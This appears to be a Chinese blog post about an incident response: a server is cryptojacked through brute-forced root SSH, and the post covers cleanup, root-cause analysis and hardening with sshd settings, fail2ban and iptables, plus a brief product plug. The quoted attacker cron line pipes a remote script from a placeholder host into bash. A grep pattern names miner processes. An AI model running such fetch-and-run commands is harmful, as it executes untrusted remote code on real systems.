服务器被黑了,我是怎么发现和处理的
上周五晚上10点,正准备关电脑下班,收到一条告警:服务器CPU 100%。
点开一看,好家伙,被挖矿了。
记录一下整个排查和处理过程,希望对大家有帮助。
发现异常
告警内容:
[CRITICAL] 生产服务器 192.168.1.100 CPU使用率 99.8%
持续时间:15分钟
第一反应:难道是流量突增?看了一下监控,QPS很正常,但CPU就是打满了。
SSH登上去看看:
top
PID USER %CPU COMMAND
12345 www-data 98.5 ./kdevtmpfsi
kdevtmpfsi?这是啥进程?百度一搜,典型的挖矿木马。
应急处理
第一时间:隔离
# 先把服务器从负载均衡摘掉
# 或者直接断外网(但我需要SSH连接,所以没断)
# 在防火墙上禁止该服务器对外连接
iptables -A OUTPUT -j DROP
# 只允许SSH
iptables -I OUTPUT -p tcp --dport 22 -j ACCEPT
杀掉挖矿进程
# 找到进程
ps aux | grep kdevtmpfsi
# 杀掉
kill -9 12345
# 但是几秒后又起来了...
说明有守护进程或者定时任务在重启它。
查找守护机制
# 检查定时任务
crontab -l
cat /etc/crontab
ls /etc/cron.d/
cat /var/spool/cron/crontabs/*
发现了:
# /var/spool/cron/crontabs/www-data
*/5 * * * * curl -s http://xxx.xxx/b.sh | bash
每5分钟从外部下载脚本执行。
# 删除定时任务
crontab -r -u www-data
# 再查一下有没有别的
grep -r "kdevtmpfsi" /etc/
grep -r "curl.*\.sh" /var/
还找到了几个地方:
# /etc/rc.local 里被加了一行
/tmp/.cache/kdevtmpfsi &
# 删掉
vim /etc/rc.local
清理木马文件
# 找到所有可疑文件
find / -name "kdevtmpfsi" 2>/dev/null
find / -name ".cache" -type d 2>/dev/null
find /tmp -type f -executable 2>/dev/null
# 删除
rm -rf /tmp/.cache
rm -rf /var/tmp/.cache
检查SSH后门
# 检查authorized_keys
cat /root/.ssh/authorized_keys
cat /home/*/.ssh/authorized_keys
# 发现多了一个不认识的公钥,删掉
溯源分析
木马清理完了,得查查怎么进来的。
检查登录日志
# 查看最近登录
last
lastb # 失败的登录
# 查看SSH日志
grep "Accepted" /var/log/auth.log | tail -50
发现凌晨3点有一次root登录,来自一个国外IP。
但我们的root是禁止远程登录的啊?
cat /etc/ssh/sshd_config | grep PermitRootLogin
# PermitRootLogin yes
谁改的?git blame一下配置管理...原来是之前同事调试的时候开的,忘记关了。
检查入侵方式
继续分析日志:
grep "Failed password" /var/log/auth.log | wc -l
# 85432
8万多次失败登录,典型的暴力破解。
再看成功的那次:
grep "Accepted password for root" /var/log/auth.log
# Dec 15 03:24:17 server sshd[12345]: Accepted password for root from 45.xx.xx.xx
密码是什么?检查一下root密码复杂度...
问了一圈,得知root密码是 Admin@123。
典型的弱密码,字典里肯定有。
根因总结
入侵链路:
1. SSH对外开放22端口 ✓
2. 允许root远程登录 ✓
3. root使用弱密码 ✓
4. 被暴力破解成功
5. 下载挖矿木马
6. 添加定时任务保持持久化
每一步都是安全隐患,叠加起来就被黑了。
加固措施
1. SSH安全加固
# /etc/ssh/sshd_config
# 禁止root登录
PermitRootLogin no
# 禁止密码登录,只用密钥
PasswordAuthentication no
PubkeyAuthentication yes
# 改端口(可选)
Port 22022
# 只允许特定用户
AllowUsers admin ops
# 重启SSH
systemctl restart sshd
2. 安装fail2ban
apt install fail2ban -y
# 配置
cat > /etc/fail2ban/jail.local << EOF
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 86400
findtime = 600
EOF
systemctl enable fail2ban
systemctl start fail2ban
5次失败就封IP一天。
3. 防火墙限制
# 只允许公司IP访问SSH
iptables -A INPUT -p tcp --dport 22 -s 公司IP -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
4. 密码策略
# 安装密码复杂度检查
apt install libpam-pwquality
# /etc/security/pwquality.conf
minlen = 12
dcredit = -1
ucredit = -1
lcredit = -1
ocredit = -1
5. 监控告警
加了几个告警规则:
- CPU持续高于80%超过5分钟
- 新增定时任务时告警
- SSH登录成功告警(非白名单IP)
- 异常外连告警
远程应急的问题
这次还好我在公司,直接SSH上去处理了。
如果是半夜在家收到告警呢?家里连不上公司内网服务器。
之前的方案是开远程专线,但:
- 连接经常断
- 手机上操作很麻烦
- 有些服务器在隔离网段,专线也连不上
后来用星空组网把服务器都组到一起,不管在哪都能SSH连上,应急方便多了。
事后复盘
该做没做的
侥幸逃过的
- 幸好只是挖矿,不是勒索病毒
- 幸好数据库没被拖
- 幸好发现得早
改进措施
- 所有服务器SSH配置统一管理(Ansible)
- 每月安全扫描
- 新服务器上线必须经过安全检查
- 重要服务器禁止密码登录
常见挖矿木马特征
最后总结一下常见的挖矿木马特征,方便排查:
| 进程名 | 特征 |
|---|---|
| kdevtmpfsi | 最常见 |
| kinsing | 配套木马 |
| xmrig | 门罗币挖矿 |
| *.sh在/tmp下 | 可疑脚本 |
# 快速检查命令
ps aux | grep -E "kdevtmpfsi|kinsing|xmrig|cryptonight"
find /tmp /var/tmp -type f -executable
crontab -l
cat /etc/rc.local
希望大家的服务器都平平安安,不要遇到这种事。
有安全相关的问题可以评论区交流。

浙公网安备 33010602011771号